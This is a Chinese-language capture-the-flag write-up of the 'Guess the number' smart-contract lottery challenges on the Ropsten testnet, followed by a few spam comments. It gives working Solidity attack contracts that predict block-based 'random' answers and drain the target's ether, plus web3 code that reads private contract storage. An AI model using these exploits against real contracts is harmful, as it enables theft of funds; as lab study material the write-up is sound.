Lotteries类型ctf-01
Guess the number
因为太简单略。
Guess the secret number
思路:很简单,就是一个暴力破解。
解答:
pragma solidity ^ 0.4.21;
contract GuessTheSecretNumberChallenge {
bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365;
function guess() public returns (uint8) {
uint8 n;
for (uint8 i = 1; i <= 255; i++) {
if (keccak256(i) == answerHash) {
n = i;
break;
}
}
return n;
}
}
Guess the random number
合约创建交易:https://ropsten.etherscan.io/tx/0xefe7f536a75dbe2db844f3e5d380dfcc538b2b2f6ada883ed7db312029037976
创建的合约为:
https://ropsten.etherscan.io/address/0xad9f957f54026dbd13c04d43d8b3ec72d358fc45
参考我经常反复看的一个资料 区块链 ctf wiki 里面的内容:
可见性:
由于以太坊上的所有信息都是公开的,所以即使一个变量被声明为 private
,我们仍能读到变量的具体值。
利用 web3 提供的 web3.eth.getStorageAt()
方法,可以读取一个以太坊地址上指定位置的存储内容。所以只要计算出了一个变量对应的插槽位置,就可以通过调用该函数来获得该变量的具体值。
调用:
// web3.eth.getStorageAt(address, position [, defaultBlock] [, callback])
web3.eth.getStorageAt("0x407d73d8a49eeb85d32cf465507dd71d507100c1", 0)
.then(console.log);
> "0x033456732123ffff2342342dd12342434324234234fd234fd23fd4f23d4234"
参数:
- address:String – 要读取的地址
- position:Number – 存储中的索引编号
- defaultBlock:Number|String – 可选,使用该参数覆盖 web3.eth.defaultBlock 属性值
- callback:Function – 可选的回调函数, 其第一个参数为错误对象,第二个参数为结果。
pragma solidity ^0.4.21;
contract GuessTheRandomNumberChallenge {
uint8 answer;
function GuessTheRandomNumberChallenge() public payable {
require(msg.value == 1 ether);
answer = uint8(keccak256(block.blockhash(block.number - 1), now));
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function guess(uint8 n) public payable {
require(msg.value == 1 ether);
if (n == answer) {
msg.sender.transfer(2 ether);
}
}
}
answer 参数存放在 slot 0 的位置。于是写了个 js 文件去读取:
const Web3 = require('web3')
const web3 = new Web3(new Web3.providers.HttpProvider("https://ropsten.infura.io/v3/[your-key]"));
console.log(web3.eth.getStorageAt("0xAd9f957f54026dbd13c04D43d8b3Ec72D358Fc45", 0))
最后得出 answer 为 35。
然后来说下直接计算的问题:
function GuessTheRandomNumberChallenge() public payable {
require(msg.value == 1 ether);
answer = uint8(keccak256(block.blockhash(block.number - 1), now));
}


这个时间跟我用 web3.js 计算的一致:

const Web3 = require('web3')
const web3 = new Web3(new Web3.providers.HttpProvider("https://ropsten.infura.io/v3/[your-key]"));
var blockNumber = web3.eth.getTransaction("0xefe7f536a75dbe2db844f3e5d380dfcc538b2b2f6ada883ed7db312029037976").blockNumber;
var info = web3.eth.getBlock(blockNumber);
console.log(info.timestamp);
要注意,交易没有 timestamp 属性,只有区块有。因为区块里面的所有交易都是一样的 timestamp。
但是如果用这个 timestamp 和 blockNumber 带进去计算发现结果不对:
pragma solidity ^ 0.4.21;
contract GuessTheSecretNumberChallenge {
function guess() public view returns (uint8) {
uint8 answer = uint8(keccak256(block.blockhash(11794984 - 1), uint32(1641907794)));
return answer;
}
}
算出来是 253。可能这里的 now 不是交易的时间。
Guess the new number
1 pragma solidity ^0.4.21;
2
3 contract GuessTheNewNumberChallenge {
4 function GuessTheNewNumberChallenge() public payable {
5 require(msg.value == 1 ether);
6 }
7
8 function isComplete() public view returns (bool) {
9 return address(this).balance == 0;
10 }
11
12 function guess(uint8 n) public payable {
13 require(msg.value == 1 ether);
14 uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));
15
16 if (n == answer) {
17 msg.sender.transfer(2 ether);
18 }
19 }
20}
这个题目跟上一个题目的区别是:answer 变成了一个随机变量。每一次调用都不一样。当然,这样我们就无法在每一次调用之前提前预测区块号和now的值(区块 timestamp)了。
但是如果我们写一个新的合约来调用此合约,就叫做代理合约吧。代理合约中可以执行13行的转帐操作、14行的计算 answer 操作,17 行的转出操作,这几个操作可以在一个交易中执行。这样就是可以直接获得猜测出的 answer 了。
并且注意,我们还需要一个回调函数,在 guess 执行成功的时候转入 2 ether 时候执行,里面要实现将此合约的余额转入到 msg.sender 的功能。
pragma solidity ^0.4.21;
contract GuessTheNewNumberChallenge {
function GuessTheNewNumberChallenge() public payable {
require(msg.value == 1 ether);
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function guess(uint8 n) public payable {
require(msg.value == 1 ether);
uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));
if (n == answer) {
msg.sender.transfer(2 ether);
}
}
}
contract POC1 {
GuessTheNewNumberChallenge _GuessTheNewNumberChallenge = GuessTheNewNumberChallenge(0x246e7516516c45BE4f6D291dA4616B9A0eFb90D8);
function() public payable {
tx.origin.transfer(address(this).balance);
}
function attack() external {
uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));
_GuessTheNewNumberChallenge.guess.value(1 ether)(answer);
}
}
上面的合约执行失败了,是因为 attack 没有设为 payable,因为为了去调用 guess 函数,是需要每次转入 1 ether 的,所以需要给 attack 函数设为 payable 才能往里面打钱。
然后改成下面这样,还是执行失败:
//...
contract POC1 {
GuessTheNewNumberChallenge _GuessTheNewNumberChallenge = GuessTheNewNumberChallenge(0x246e7516516c45BE4f6D291dA4616B9A0eFb90D8);
function() public payable {
tx.origin.transfer(address(this).balance);
}
function attack() external payable {
uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));
_GuessTheNewNumberChallenge.guess.value(1 ether)(answer);
}
}
悟了,因为本身没钱,但是当前合约执行 fallback 回调函数要手续费。所以就会失败。所以改进之后有以下两种解法:
方法1:
pragma solidity ^0.4.21;
contract GuessTheNewNumberChallenge {
function GuessTheNewNumberChallenge() public payable {
require(msg.value == 1 ether);
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function guess(uint8 n) public payable {
require(msg.value == 1 ether);
uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));
if (n == answer) {
msg.sender.transfer(2 ether);
}
}
}
contract POC1 {
GuessTheNewNumberChallenge _GuessTheNewNumberChallenge = GuessTheNewNumberChallenge(0x246e7516516c45BE4f6D291dA4616B9A0eFb90D8);
function() public payable {
//tx.origin.transfer(address(this).balance);
}
function withdraw() external{
msg.sender.transfer(address(this).balance);
}
function attack() external payable {
uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));
_GuessTheNewNumberChallenge.guess.value(1 ether)(answer);
}
}
- step 1 : attack value:1 ether
- step 2 : withdraw
方法2:
pragma solidity ^0.4.21;
contract GuessTheNewNumberChallenge {
function GuessTheNewNumberChallenge() public payable {
require(msg.value == 1 ether);
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function guess(uint8 n) public payable {
require(msg.value == 1 ether);
uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));
if (n == answer) {
msg.sender.transfer(2 ether);
}
}
}
contract POC1 {
GuessTheNewNumberChallenge _GuessTheNewNumberChallenge = GuessTheNewNumberChallenge(0xb7D99cF0D6749df744cAD923C824833Ea6fE5E57);
function() public payable {
//tx.origin.transfer(address(this).balance);
}
function kill() external{
selfdestruct(msg.sender);
}
function attack() external payable {
uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));
_GuessTheNewNumberChallenge.guess.value(1 ether)(answer);
}
}
- step1 : attack 1 ether
- step 2: kill
上述两种方法的区别仅仅在于怎么从代理合约转钱给 msg.sender。
然后我又想到了,之前之所以失败,不是因为 msg.sender 没有钱当作转出的 gas 吗,然后开始了第三次尝试:
尝试3:
pragma solidity ^0.4.21;
contract GuessTheNewNumberChallenge {
function GuessTheNewNumberChallenge() public payable {
require(msg.value == 1 ether);
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function guess(uint8 n) public payable {
require(msg.value == 1 ether);
uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));
if (n == answer) {
msg.sender.transfer(2 ether);
}
}
}
contract POC1 {
GuessTheNewNumberChallenge _GuessTheNewNumberChallenge = GuessTheNewNumberChallenge(0x1c98c44fF15821A5bbAcdAa6Ea2A9aF481Fbc58D);
function POC1() public payable {
require(msg.value == 0.2 ether);
}
function() public payable {
tx.origin.transfer(address(this).balance);
}
function attack() external payable {
uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));
_GuessTheNewNumberChallenge.guess.value(1 ether)(answer);
}
}
交易记录于:https://ropsten.etherscan.io/address/0x5D407cf744801b915E87eF8FFa1C77C653DEaf52
但是你肯定发现了,还是失败的,此路不通。因为不管余额多少,转出时候都是没有手续费的。
而且更糟糕的是:因为没有定义 withdraw 函数。无法取出存入的钱了。
方法3:
pragma solidity ^0.4.21;
contract GuessTheNewNumberChallenge {
function GuessTheNewNumberChallenge() public payable {
require(msg.value == 1 ether);
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function guess(uint8 n) public payable {
require(msg.value == 1 ether);
uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));
if (n == answer) {
msg.sender.transfer(2 ether);
}
}
}
contract POC1 {
GuessTheNewNumberChallenge _GuessTheNewNumberChallenge = GuessTheNewNumberChallenge(0x9ca374E1480A888c3A5a3f3A67c1C672aDD57Eaf);
function() public payable {}
function attack() external payable {
uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));
_GuessTheNewNumberChallenge.guess.value(1 ether)(answer);
tx.origin.transfer(address(this).balance);
}
}
发现自己真的是太蠢了。这是对尝试3做了修改之后就成功了,区别就是我们如果在 attack 方法里面将代理合约的余额转入 msg.sender,那么是一开始的 msg.sender 支付的此次转账的 gas。如下图,中间隐式的调用了回调函数给代理合约转入了钱,这丝毫不影响下一步 transfer 的执行:

啥也不说了,希望疫情早点结束吧!
You choose peace or war?
Itís hard to find experienced people about this subject, however, you sound like you know what youíre talking about! Thanks
Ye!How aer you today?
So you are a man or woman?
This Domain Is Good!